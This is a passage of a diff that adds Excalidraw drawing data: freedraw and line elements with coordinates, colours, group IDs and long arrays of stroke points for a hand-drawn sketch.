0, + "x": 3837.5986303344935, + "y": -1416.123103725723, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 11.014108389539029, + "height": 59.380320698535314, + "seed": 1853152952, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.47886633538010775, + 0 + ], + [ + 0.9577326707602155, + 3.830985485779777 + ], + [ + 0.9577326707602155, + 7.183104636179448 + ], + [ + 0.9577326707602155, + 9.098588245279434 + ], + [ + 0.9577326707602155, + 13.887324669398982 + ], + [ + 0.9577326707602155, + 20.591562970198446 + ], + [ + 0.9577326707602155, + 24.422548455978102 + ], + [ + 0.9577326707602155, + 27.77466760637777 + ], + [ + 0, + 31.605653092157546 + ], + [ + -0.47886633538010775, + 34.95777224255721 + ], + [ + -0.9577692059195753, + 38.309891392956885 + ], + [ + -1.4366355412996827, + 42.61974321411677 + ], + [ + -1.9155018766797907, + 45.01411142617655 + ], + [ + -1.9155018766797907, + 47.40847963823632 + ], + [ + -1.9155018766797907, + 49.323981514916106 + ], + [ + -1.9155018766797907, + 51.23946512401611 + ], + [ + -1.9155018766797907, + 53.15496700069577 + ], + [ + -1.9155018766797907, + 55.07046887737555 + ], + [ + -1.9155018766797907, + 57.464837089435456 + ], + [ + -1.9155018766797907, + 58.42256976019554 + ], + [ + -1.9155018766797907, + 58.90145436315533 + ], + [ + -1.9155018766797907, + 59.380320698535314 + ], + [ + -1.9155018766797907, + 58.90145436315533 + ], + [ + -1.9155018766797907, + 57.94370342481544 + ], + [ + -1.4366355412996827, + 56.98595248647555 + ], + [ + -0.47886633538010775, + 54.11271793903566 + ], + [ + 1.9155018766797907, + 51.71834972697589 + ], + [ + 2.873234547439758, + 45.01411142617655 + ], + [ + 3.3521008828198666, + 40.70425960501665 + ], + [ + 3.3521008828198666, + 34.00002130421732 + ], + [ + 3.8309672181999748, + 29.21128488009777 + ], + [ + 3.8309672181999748, + 24.422548455978102 + ], + [ + 4.309870088739441, + 22.02818024391832 + ], + [ + 4.7887364241195485, + 19.63381203185855 + ], + [ + 5.267602759499657, + 16.76057748441867 + ], + [ + 5.746469094879764, + 13.408458334019 + ], + [ + 5.746469094879764, + 7.661970971559431 + ], + [ + 6.225335430259873, + 2.3943682120597742 + ], + [ + 7.183104636179448, + 0.9577326707600917 + ], + [ + 7.6619709715595565, + 0.47886633538010775 + ], + [ + 7.6619709715595565, + 0 + ], + [ + 8.140837306939664, + 0.9577326707600917 + ], + [ + 8.61970364231977, + 9.577472848239221 + ], + [ + 9.098606512859238, + 15.802826546078773 + ], + [ + 9.098606512859238, + 23.464797517638324 + ], + [ + 9.098606512859238, + 33.04227036587755 + ], + [ + 9.098606512859238, + 36.8732558516572 + ], + [ + 8.61970364231977, + 41.661992275776875 + ], + [ + 8.61970364231977, + 45.01411142617655 + ], + [ + 8.61970364231977, + 45.492996029136336 + ], + [ + 8.140837306939664, + 46.45072869989642 + ], + [ + 8.140837306939664, + 46.92961330285622 + ], + [ + 8.140837306939664, + 47.40847963823632 + ], + [ + 8.140837306939664, + 49.323981514916106 + ], + [ + 8.140837306939664, + 50.76059878863598 + ], + [ + 8.140837306939664, + 51.71834972697589 + ], + [ + 8.140837306939664, + 52.197216062356 + ], + [ + 8.140837306939664, + 52.67610066531578 + ], + [ + 8.140837306939664, + 53.15496700069577 + ], + [ + 8.140837306939664, + 53.633833336075874 + ], + [ + 8.140837306939664, + 53.633833336075874 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1322, + "versionNonce": 772325600, + "index": "c1tHl", + "isDeleted": false, + "id": "r38MHEz1V-W64NaU4vvMq", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3809.823944460532, + "y": -1481.2499300542986, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 9.577472848239346, + "height": 10.056348317409169, + "seed": 450381752, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.47886633538010775, + -0.9577418045500555 + ], + [ + 0.47886633538010775, + -2.394368212059899 + ], + [ + 0.47886633538010775, + -3.35211001660983 + ], + [ + 0.9577692059195754, + -4.3098426873699225 + ], + [ + 0.9577692059195754, + -5.267602759499781 + ], + [ + 1.436635541299683, + -5.267602759499781 + ], + [ + 1.436635541299683, + -5.746478228669604 + ], + [ + 1.436635541299683, + -4.788736424119673 + ], + [ + 1.436635541299683, + -0.9577418045500555 + ], + [ + 1.436635541299683, + 1.9155018766796665 + ], + [ + 1.436635541299683, + 4.309870088739566 + ], + [ + 1.9155018766797907, + 2.8732619488094024 + ], + [ + 2.394368212059899, + 1.9155018766796665 + ], + [ + 2.394368212059899, + -1.915474475310147 + ], + [ + 1.9155018766797907, + -3.8309854857797783 + ], + [ + 1.436635541299683, + -4.3098426873699225 + ], + [ + 0.47886633538010775, + -4.788736424119673 + ], + [ + 0.9577692059195754, + -4.788736424119673 + ], + [ + 1.9155018766797907, + -4.788736424119673 + ], + [ + 6.225371965419233, + -4.788736424119673 + ], + [ + 9.09860651285924, + -4.788736424119673 + ], + [ + 9.577472848239346, + -4.788736424119673 + ], + [ + 9.577472848239346, + -4.788736424119673 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1365, + "versionNonce": 1962779872, + "index": "c1tHp", + "isDeleted": false, + "id": "99jq0zu8V0HTloNUFWF7Z", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3732.7252953392394, + "y": -1436.714675829714, + "strokeColor": "#2b8a3e", + "backgroundColor": "transparent", + "width": 8.140837306939416, + "height": 81.8873946792034, + "seed": 417763512, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.9577418045500555 + ], + [ + 0, + 1.436635541299683 + ], + [ + 0.4788663353801079, + 5.267602759499658 + ], + [ + 1.915501876679791, + 13.887333803188948 + ], + [ + 2.3943682120598986, + 19.633821165648396 + ], + [ + 2.873234547439758, + 25.380308528107967 + ], + [ + 2.873234547439758, + 30.169044952227512 + ], + [ + 2.873234547439758, + 34.000030438007286 + ], + [ + 2.873234547439758, + 38.309882259167054 + ], + [ + 2.873234547439758, + 44.05636962162662 + ], + [ + 2.873234547439758, + 47.40848877202629 + ], + [ + 2.873234547439758, + 51.23947425780593 + ], + [ + 2.873234547439758, + 54.11272707282563 + ], + [ + 2.873234547439758, + 57.4648279556455 + ], + [ + 2.3943682120598986, + 60.33808077066518 + ], + [ + 1.915501876679791, + 63.69019992106485 + ], + [ + 1.436635541299683, + 66.08456813312463 + ], + [ + 0.9577326707602158, + 67.52118540684451 + ], + [ + 0.4788663353801079, + 70.3944199542845 + ], + [ + -0.4788663353801079, + 72.7887881663443 + ], + [ + -0.4788663353801079, + 74.22540544006416 + ], + [ + -1.436635541299683, + 74.70429004302395 + ], + [ + -1.436635541299683, + 75.66204098136384 + ], + [ + -1.436635541299683, + 76.14090731674396 + ], + [ + -1.915501876679791, + 76.14090731674396 + ], + [ + -1.915501876679791, + 76.61977365212407 + ], + [ + -2.3943682120596512, + 77.09865825508385 + ], + [ + -2.3943682120596512, + 78.53527552880372 + ], + [ + -2.873234547439758, + 78.53527552880372 + ], + [ + -2.873234547439758, + 79.01414186418383 + ], + [ + -2.873234547439758, + 79.49302646714362 + ], + [ + -3.352100882819867, + 79.49302646714362 + ], + [ + -3.831003753359333, + 78.53527552880372 + ], + [ + -5.267602759499657, + 68.00005174222461 + ], + [ + -5.267602759499657, + 62.25356437976517 + ], + [ + -5.267602759499657, + 59.38032983232529 + ], + [ + -4.788736424119549, + 56.02821068192562 + ], + [ + -4.788736424119549, + 53.15497613448573 + ], + [ + -4.788736424119549, + 50.76060792242596 + ], + [ + -4.3098700887394426, + 45.492986895346505 + ], + [ + -4.3098700887394426, + 38.309882259167054 + ], + [ + -4.3098700887394426, + 33.52114583504749 + ], + [ + -4.3098700887394426, + 28.73240941092783 + ], + [ + -4.3098700887394426, + 25.85917486348795 + ], + [ + -4.3098700887394426, + 22.507055713088278 + ], + [ + -4.3098700887394426, + 18.676070227308617 + ], + [ + -4.788736424119549, + 15.802835679868615 + ], + [ + -4.788736424119549, + 13.887333803188948 + ], + [ + -4.788736424119549, + 12.450716529469071 + ], + [ + -4.788736424119549, + 11.971831926509157 + ], + [ + -4.788736424119549, + 11.492965591129172 + ], + [ + -4.788736424119549, + 10.056348317409169 + ], + [ + -4.788736424119549, + 8.140846440729378 + ], + [ + -4.788736424119549, + 6.704229167009501 + ], + [ + -4.788736424119549, + 4.788736424119673 + ], + [ + -4.788736424119549, + 2.8732345474398833 + ], + [ + -4.788736424119549, + 2.394368212059899 + ], + [ + -4.788736424119549, + 1.9154927428898272 + ], + [ + -4.788736424119549, + 1.436635541299683 + ], + [ + -4.788736424119549, + -0.47887546916994767 + ], + [ + -4.788736424119549, + -0.9577326707600917 + ], + [ + -4.3098700887394426, + -1.436626407509719 + ], + [ + -3.352100882819867, + -1.9155018766797907 + ], + [ + -1.915501876679791, + -2.3943682120597747 + ], + [ + 0, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1427, + "versionNonce": 1404438752, + "index": "c1tHt", + "isDeleted": false, + "id": "ovedi1dewOOLvnbQQkitW", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3719.271440312575, + "y": -1444.3929828550117, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 19.185520718081396, + "height": 3.4882946397474304, + "seed": 809744824, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 19.185520718081396, + -3.4882946397474304 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1399, + "versionNonce": 96595168, + "index": "c1tHx", + "isDeleted": false, + "id": "S_7U6ZPmRravLtpGG7kwl", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3757.2269671658105, + "y": -1408.8195919061327, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 17.67609996284443, + "height": 1.8129395359999454, + "seed": 336839352, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.67609996284443, + 1.8129395359999454 + ] + ] + }, + { + "type": "line", + "version": 1393, + "versionNonce": 1420906720, + "index": "c1tI", + "isDeleted": false, + "id": "RN030qqdv8r_MdMlCA46p", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3800.73737771403, + "y": -1473.1787033815144, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 17.676065383898774, + "height": 3.1726268985270485, + "seed": 1929030584, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.676065383898774, + -3.1726268985270485 + ] + ] + }, + { + "type": "line", + "version": 1421, + "versionNonce": 1477719264, + "index": "c1tI4", + "isDeleted": false, + "id": "NPR9JuhxQLKUJaW35AjiC", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 0, + "angle": 0, + "x": 3832.010437749508, + "y": -1367.5753817121267, + "strokeColor": "#5c940d", + "backgroundColor": "transparent", + "width": 15.409934187580875, + "height": 0.9064524785272098, + "seed": 119305400, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 15.409934187580875, + -0.9064524785272098 + ] + ] + }, + { + "type": "freedraw", + "version": 1373, + "versionNonce": 897226976, + "index": "c1tI8", + "isDeleted": false, + "id": "fwy0K07d7d17mrhu_n9Xb", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 0, + "angle": 0, + "x": 3729.373194456419, + "y": -1441.9822877230044, + "strokeColor": "#5c940d", + "backgroundColor": "transparent", + "width": 1.9155018766795424, + "height": 57.46483708943533, + "seed": 639442360, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453359, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.47887546916994767 + ], + [ + 0.4788663353801076, + 1.4366172737198792 + ], + [ + 0.9577326707602152, + 4.309879222529406 + ], + [ + 0.9577326707602152, + 6.70424743458918 + ], + [ + 1.436599006140075, + 9.09861564664908 + ], + [ + 1.436599006140075, + 11.971841060298996 + ], + [ + 1.436599006140075, + 13.88734293697879 + ], + [ + 1.436599006140075, + 17.23944381979865 + ], + [ + 1.436599006140075, + 20.112696634818338 + ], + [ + 1.436599006140075, + 23.46481578521801 + ], + [ + 1.436599006140075, + 24.42254845597811 + ], + [ + 1.436599006140075, + 26.816916668037877 + ], + [ + 1.436599006140075, + 27.774667606377772 + ], + [ + 1.436599006140075, + 30.16903581843767 + ], + [ + 1.436599006140075, + 32.563404030497445 + ], + [ + 1.436599006140075, + 34.478905907177115 + ], + [ + 1.436599006140075, + 38.309891392956885 + ], + [ + 0.4788663353801076, + 42.61976148169646 + ], + [ + 0.4788663353801076, + 46.45074696747624 + ], + [ + 0, + 49.32398151491611 + ], + [ + 0, + 51.7183497269759 + ], + [ + -0.47890287053946723, + 54.59160254199545 + ], + [ + -0.47890287053946723, + 55.54933521275567 + ], + [ + -0.47890287053946723, + 56.507086151095436 + ], + [ + -0.47890287053946723, + 57.46483708943533 + ], + [ + -0.47890287053946723, + 57.46483708943533 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1392, + "versionNonce": 1618246880, + "index": "c1tIG", + "isDeleted": false, + "id": "ZSgP0nTvnaIrhxFQFgD4O", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3766.246450308077, + "y": -1397.447042632205, + "strokeColor": "#5c940d", + "backgroundColor": "transparent", + "width": 11.014108389539029, + "height": 44.05637875541645, + "seed": 1361094328, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.9577509383398953 + ], + [ + 0, + 3.830985485779777 + ], + [ + 0, + 5.746487362459444 + ], + [ + 0, + 12.929591998638891 + ], + [ + 0, + 18.19719475813855 + ], + [ + 0, + 22.028198511498005 + ], + [ + -0.4788663353801077, + 27.77466760637777 + ], + [ + -0.9577326707602154, + 30.64792042139746 + ], + [ + -1.4366355412996825, + 33.042288633457225 + ], + [ + -1.4366355412996825, + 34.00003957179712 + ], + [ + -1.9155018766797904, + 34.95777224255721 + ], + [ + -1.9155018766797904, + 35.915523180897104 + ], + [ + -1.9155018766797904, + 37.35214045461712 + ], + [ + -2.3943682120598986, + 38.309891392956885 + ], + [ + -2.3943682120598986, + 38.7887759959168 + ], + [ + -2.3943682120598986, + 37.35214045461712 + ], + [ + -0.9577326707602154, + 35.43665684551701 + ], + [ + 0.9577326707602154, + 31.60567135973735 + ], + [ + 5.267602759499656, + 23.943682120598115 + ], + [ + 5.746469094879763, + 22.028198511498005 + ], + [ + 6.2253719654192325, + 19.63383029943823 + ], + [ + 6.704238300799339, + 18.67607936109846 + ], + [ + 6.704238300799339, + 17.718328422758567 + ], + [ + 6.704238300799339, + 17.239462087378456 + ], + [ + 6.704238300799339, + 16.28171114903856 + ], + [ + 6.704238300799339, + 14.845093875318682 + ], + [ + 6.704238300799339, + 13.887342936978786 + ], + [ + 6.704238300799339, + 12.929591998638891 + ], + [ + 6.704238300799339, + 11.49297472491901 + ], + [ + 6.704238300799339, + 8.619721909899326 + ], + [ + 6.704238300799339, + 6.70423830079934 + ], + [ + 7.183104636179447, + 2.8732528150195615 + ], + [ + 7.183104636179447, + 1.9155018766797907 + ], + [ + 7.661970971559554, + 0.9577509383398953 + ], + [ + 8.140837306939414, + -0.9577509383398953 + ], + [ + 8.140837306939414, + -1.4366172737198788 + ], + [ + 8.140837306939414, + -1.9154836090999867 + ], + [ + 8.140837306939414, + -2.3943682120597742 + ], + [ + 8.140837306939414, + -3.35211915039967 + ], + [ + 8.140837306939414, + -3.830985485779777 + ], + [ + 8.61974017747913, + -3.830985485779777 + ], + [ + 8.61974017747913, + -4.309851821159761 + ], + [ + 8.61974017747913, + -4.788736424119673 + ], + [ + 8.61974017747913, + -5.267602759499656 + ], + [ + 8.61974017747913, + -5.267602759499656 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1435, + "versionNonce": 1519509728, + "index": "c1tIO", + "isDeleted": false, + "id": "CjYvv-Rguv30NzBYOxkDM", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3808.8662117897697, + "y": -1470.2358307985478, + "strokeColor": "#5c940d", + "backgroundColor": "transparent", + "width": 13.887342936978786, + "height": 111.57756416226108, + "seed": 1154158520, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.47886633537985995, + 0 + ], + [ + 0.47886633537985995, + 0.9577418045500554 + ], + [ + 0.9577326707599678, + 3.8310037533595813 + ], + [ + 1.4365990061400757, + 8.140846440729502 + ], + [ + 1.4365990061400757, + 13.408476601598801 + ], + [ + 1.4365990061400757, + 19.63381203185855 + ], + [ + 1.4365990061400757, + 29.21128488009777 + ], + [ + 0.9577326707599678, + 40.225384135846845 + ], + [ + 0, + 45.4929868953465 + ], + [ + -0.9577692059198232, + 54.11272707282562 + ], + [ + -1.915501876679791, + 59.85919616770538 + ], + [ + -3.831003753359582, + 70.87330455724428 + ], + [ + -4.788736424119798, + 77.57752459046395 + ], + [ + -4.788736424119798, + 80.4507774054835 + ], + [ + -4.788736424119798, + 84.2817628912633 + ], + [ + -4.788736424119798, + 88.11274837704293 + ], + [ + -4.788736424119798, + 92.4226184657825 + ], + [ + -5.267602759499906, + 96.25360395156227 + ], + [ + -5.746505630039373, + 98.64797216362207 + ], + [ + -5.746505630039373, + 101.52120671106194 + ], + [ + -6.225371965419481, + 103.43670858774172 + ], + [ + -6.704238300799588, + 105.83107679980151 + ], + [ + -6.704238300799588, + 107.26769407352138 + ], + [ + -6.704238300799588, + 108.22544501186128 + ], + [ + -7.183104636179696, + 109.6620622855813 + ], + [ + -7.183104636179696, + 110.61981322392118 + ], + [ + -7.183104636179696, + 111.09867955930117 + ], + [ + -7.183104636179696, + 111.57756416226108 + ], + [ + -7.183104636179696, + 111.09867955930117 + ], + [ + -6.704238300799588, + 110.14092862096139 + ], + [ + -6.225371965419481, + 108.22544501186128 + ], + [ + -5.267602759499906, + 107.26769407352138 + ], + [ + -5.267602759499906, + 106.7888277381414 + ], + [ + -5.267602759499906, + 106.3099431351816 + ], + [ + -4.30987008873969, + 105.35219219684171 + ], + [ + -4.30987008873969, + 103.91557492312184 + ], + [ + -3.831003753359582, + 102.95782398478195 + ], + [ + -3.831003753359582, + 101.52120671106194 + ], + [ + -3.831003753359582, + 98.64797216362207 + ], + [ + -3.3521374179794745, + 95.7747193486025 + ], + [ + -2.8732345474400063, + 92.90148480116262 + ], + [ + -2.394368212059899, + 90.98598292448283 + ], + [ + -2.394368212059899, + 89.07049931538283 + ], + [ + -2.394368212059899, + 85.71838016498317 + ], + [ + -2.394368212059899, + 83.3240119529234 + ], + [ + -2.394368212059899, + 81.40851007624359 + ], + [ + -2.394368212059899, + 77.09865825508385 + ], + [ + -2.8732345474400063, + 71.35217089262441 + ], + [ + -3.3521374179794745, + 62.73244898272494 + ], + [ + -3.3521374179794745, + 58.42257889398551 + ], + [ + -3.3521374179794745, + 55.070459743585715 + ], + [ + -3.3521374179794745, + 50.76060792242596 + ], + [ + -2.8732345474400063, + 46.45073783368639 + ], + [ + -2.394368212059899, + 42.14088601252663 + ], + [ + -1.436635541299683, + 37.831015923787064 + ], + [ + -0.9577692059198232, + 31.126786756777562 + ], + [ + 0, + 25.3803176618978 + ], + [ + 0, + 21.07043843936839 + ], + [ + 0.9577326707599678, + 17.718319288968726 + ], + [ + 1.4365990061400757, + 13.887333803188946 + ], + [ + 1.4365990061400757, + 12.450707395679103 + ], + [ + 1.4365990061400757, + 11.971841060299118 + ], + [ + 1.9155018766795429, + 11.971841060299118 + ], + [ + 2.394368212059651, + 13.408476601598801 + ], + [ + 3.352100882819867, + 21.549313908538338 + ], + [ + 4.788736424119549, + 36.87326498544717 + ], + [ + 5.267602759499408, + 48.84510604574616 + ], + [ + 5.267602759499408, + 58.42257889398551 + ], + [ + 5.267602759499408, + 65.60568353016484 + ], + [ + 5.267602759499408, + 73.26767276930407 + ], + [ + 5.267602759499408, + 76.61977365212405 + ], + [ + 5.267602759499408, + 80.4507774054835 + ], + [ + 5.267602759499408, + 83.80287828830349 + ], + [ + 5.267602759499408, + 86.19724650036328 + ], + [ + 5.267602759499408, + 90.02825025372273 + ], + [ + 5.267602759499408, + 91.94373386282273 + ], + [ + 5.267602759499408, + 94.33810207488249 + ], + [ + 5.267602759499408, + 96.25360395156227 + ], + [ + 5.267602759499408, + 99.12683849900218 + ], + [ + 5.267602759499408, + 101.52120671106194 + ], + [ + 5.746469094879516, + 104.87332586146162 + ], + [ + 5.746469094879516, + 106.3099431351816 + ], + [ + 5.746469094879516, + 108.22544501186128 + ], + [ + 6.225335430259626, + 109.18319595020117 + ], + [ + 6.225335430259626, + 110.61981322392118 + ], + [ + 6.225335430259626, + 111.57756416226108 + ], + [ + 6.704238300799092, + 111.57756416226108 + ], + [ + 6.704238300799092, + 111.57756416226108 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1378, + "versionNonce": 1935852768, + "index": "c1tIV", + "isDeleted": false, + "id": "aD8YRbt2_dQm0E2Nu1iki", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3731.288659797939, + "y": -1460.1794916149283, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 6.70420176563998, + "height": 12.450707395679103, + "seed": 155211960, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.957769205919575 + ], + [ + 0, + 4.788736424119673 + ], + [ + 0, + 8.61973104368929 + ], + [ + 0, + 11.014099255749064 + ], + [ + -0.47886633538010775, + 11.971841060299118 + ], + [ + -0.47886633538010775, + 11.49297472491901 + ], + [ + -0.9577326707599677, + 10.056348317409169 + ], + [ + -1.4365990061400753, + 8.61973104368929 + ], + [ + -1.9154653415201834, + 7.183104636179448 + ], + [ + -3.3521008828198666, + 5.267611893289496 + ], + [ + -4.309833553580082, + 3.3521374179794736 + ], + [ + -5.267602759499656, + 2.3943682120597742 + ], + [ + -5.267602759499656, + 1.9155018766797904 + ], + [ + -5.267602759499656, + 2.3943682120597742 + ], + [ + -5.746469094879764, + 4.788736424119673 + ], + [ + -6.225335430259872, + 6.225362831629391 + ], + [ + -6.70420176563998, + 7.183104636179448 + ], + [ + -6.70420176563998, + 7.661980105349394 + ], + [ + -6.70420176563998, + 7.183104636179448 + ], + [ + -6.70420176563998, + 5.746505630039248 + ], + [ + -6.70420176563998, + 3.3521374179794736 + ], + [ + -6.70420176563998, + 0.957769205919575 + ], + [ + -6.70420176563998, + -0.4788663353799837 + ], + [ + -6.70420176563998, + 0 + ], + [ + -6.225335430259872, + 1.9155018766797904 + ], + [ + -6.225335430259872, + 4.788736424119673 + ], + [ + -6.225335430259872, + 6.225362831629391 + ], + [ + -6.225335430259872, + 7.183104636179448 + ], + [ + -5.746469094879764, + 7.661980105349394 + ], + [ + -5.746469094879764, + 7.183104636179448 + ], + [ + -5.746469094879764, + 7.183104636179448 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1392, + "versionNonce": 142026976, + "index": "c1tIZ", + "isDeleted": false, + "id": "3zb2YAjvmc-TcX7btvqcF", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 20, + "angle": 0, + "x": 3726.0210570384384, + "y": -1465.4470943744254, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 7.661970971559554, + "height": 16.281702015248722, + "seed": 35946936, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.9577418045500555 + ], + [ + 0.47886633538010775, + 0.9577418045500555 + ], + [ + 0.47886633538010775, + 1.9154927428898272 + ], + [ + 0.47886633538010775, + 3.35211001660983 + ], + [ + 0.957769205919575, + 6.704229167009501 + ], + [ + 0.957769205919575, + 9.577472848239221 + ], + [ + 0.957769205919575, + 13.40847660159868 + ], + [ + 0.957769205919575, + 13.88733380318895 + ], + [ + 0.957769205919575, + 14.845075607738883 + ], + [ + 0.957769205919575, + 15.323951076908829 + ], + [ + 0.957769205919575, + 15.802844813658455 + ], + [ + 0.957769205919575, + 16.281702015248722 + ], + [ + 0.957769205919575, + 15.802844813658455 + ], + [ + 1.4366355412996827, + 15.323951076908829 + ], + [ + 1.9155018766797907, + 15.323951076908829 + ], + [ + 2.3943682120598986, + 15.323951076908829 + ], + [ + 2.873234547440006, + 15.323951076908829 + ], + [ + 3.352137417979474, + 15.323951076908829 + ], + [ + 4.7887364241195485, + 13.88733380318895 + ], + [ + 5.746505630039123, + 13.40847660159868 + ], + [ + 6.2253719654192325, + 13.40847660159868 + ], + [ + 6.2253719654192325, + 12.929582864849053 + ], + [ + 6.70423830079934, + 12.450707395679107 + ], + [ + 7.183104636179448, + 12.450707395679107 + ], + [ + 7.183104636179448, + 11.971841060298999 + ], + [ + 7.183104636179448, + 11.49296559112905 + ], + [ + 7.183104636179448, + 10.056339183619333 + ], + [ + 7.183104636179448, + 9.577472848239221 + ], + [ + 7.183104636179448, + 10.056339183619333 + ], + [ + 7.183104636179448, + 10.535214652789156 + ], + [ + 7.183104636179448, + 11.014108389538908 + ], + [ + 7.183104636179448, + 9.577472848239221 + ], + [ + 7.183104636179448, + 8.619740177479132 + ], + [ + 7.183104636179448, + 6.704229167009501 + ], + [ + 7.183104636179448, + 5.267602759499658 + 